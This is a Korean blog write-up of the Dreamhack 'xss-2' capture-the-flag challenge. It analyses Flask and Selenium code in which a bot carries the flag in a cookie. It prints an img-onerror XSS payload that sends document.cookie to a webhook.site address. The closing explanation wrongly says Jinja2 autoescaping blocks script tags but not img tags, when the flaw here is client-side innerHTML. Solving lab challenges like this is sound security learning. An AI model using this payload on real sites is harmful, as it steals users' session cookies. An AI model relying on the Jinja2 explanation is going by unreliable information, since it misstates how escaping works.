https://dreamhack.io/wargame/challenges/268/
xss 두 번째 문제이다.
초기 화면이다. 저번 문제와 별로 달라보일 것은 없다.
저번 문제와 같이 param의 인수로 script 태그가 들어갔다. 하지만 이번에는 제대로 작동하지 않는 모습이다.
매개변수 memo의 인수를 출력하는 모습이다.
저번 문제와 마찬가지로 익스플로잇 코드를 입력할만한 공간이 주어졌다.
이제 코드 분석을 해보자.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
param에 입력한 코드와 플래그가 check_xss에 인수로 전달되는 걸 확인할 수 있다. 플래그는 딕셔너리 형식으로 담겨 넘겨진다.
check_xss함수를 살펴보자
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
아까 입력한 param코드가 인코딩 되어 url 변수에 담긴다. 플래그는 cookie 딕셔너리에 담긴다.
그리고는 read_url에 전달된다. read_url을 살펴보자.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
cookie변수가 add_cookie함수로 인해서 cookie가 되는 모습이다. 그렇다면 cookie에 플래그가 담겨있다는 뜻이다.
get()함수로 해당 url을 실행시키는 모습이다. 하지만 저번처럼 스크립트 태그를 그대로 실행시켜 주지 않았다.
무엇이 문제일지 /vuln 페이지 코드로 가보자.
{% block content %}
<div id='vuln'></div>
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
{% endblock %}
innerHTML로 입력값을 삽입하고 있다. innerHTML로 삽입된 script는 보안상의 이유로 브라우저단에서 script태그를 실행하지 않는다고 한다. script를 사용하고 싶다면 eval()을 이용해야 한다고 한다.
https://stackoverflow.com/questions/1197575/can-scripts-be-inserted-with-innerhtml
이를 우회하는 방법은 무엇이 있을까?
필자는 onerror로 풀어보겠다
<img src="" onerror="location.href='https://webhook.site/5bc87717-de0e-457a-8049-392f11b1c764?flag='+document.cookie">
memo페이지로 보내지 않고, webhook.site로 보내보았다.
짜잔
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
memo 페이지로 보내면 제대로 플래그가 나오지만, webhook.site로 보내면 wrong??이 드는 경우가 종종 있다. 이 이유가 뭔지 알아보니 통신 문제인 것 같다. 이에 관련된 링크를 남겨 두겠다
https://dreamhack.io/forum/qna/366
https://dreamhack.io/forum/qna/3156
궁금한점+)
<script>태그가 엔티티 코드로 치환돼서 <script>로 변해서 실행이 되지 않았다. 그렇다면 <img>태그나 <a>태그 역시
<img>태그로 변해서 onerror나 onfocus역시 제대로 실행이 안돼야 정상이지 않은가?
해결)
Flask의 템플릿 엔진인 Jinja2는 XSS공격에 대한 방어 기능을 내장하고 있다. 이를 통해, 템플릿 변수에 포함된 스크립트 코드를 자동으로 이스케이프(escape)하여 XSS 공격을 방지한다.
예를 들어 <script>alert("XSS Attack!")</script>이라는 값을 전달한다면, Jinja2는 이를 다음과 같이 치환한다.
<script>alert("XSS Attack!")</script>
즉, '<'와 '>' 기호를 HTML 엔티티로 대체하여 브라우저에서 스크립트 코드로 인식되지 않도록 한다. 이를 통하여 'render_template()'함수를 사용하면 XSS 공격에 대한 보안성을 제공한다.
하지만 이미지 태그('img')를 이용한 XSS 공격을 필터링하지 않는다. 이는 <img>태그가 HTML 문서 내부에 이미지를 삽입하기 위한 태그이기 때문이다. URL에 악성 스크립트 코드를 삽입하는 것은 XSS 공격의 일종으로 분류된다. 그러나, 이 경우에는 URL 주소 자체가 이미지로 처리되므로, 이를 Jinja2 엔진이 이스케이핑 처리할 필요가 없다.
따라서 'render_template()'함수를 사용할 대에는 이미지 태그('img')를 이용한 XSS 공격에 대해서는 별도의 보안 처리를 해주어야 한다. 이를 위해서는, 이미지 URL을 검증하고, 악성 스크립트 코드를 필터링하는 등의 추가적인 보안 조치가 필요하다.
'웹 해킹 > 드림핵' 카테고리의 다른 글
[드림핵]csrf-2 풀이 (0) | 2023.03.11 |
---|---|
[드림핵]csrf-1 풀이 (0) | 2023.03.11 |
[드림핵] xss-1 풀이 (0) | 2023.03.10 |
[드림핵] cookie 풀이 (1) | 2023.03.10 |
[드림핵] session-basic 풀이 (0) | 2023.03.09 |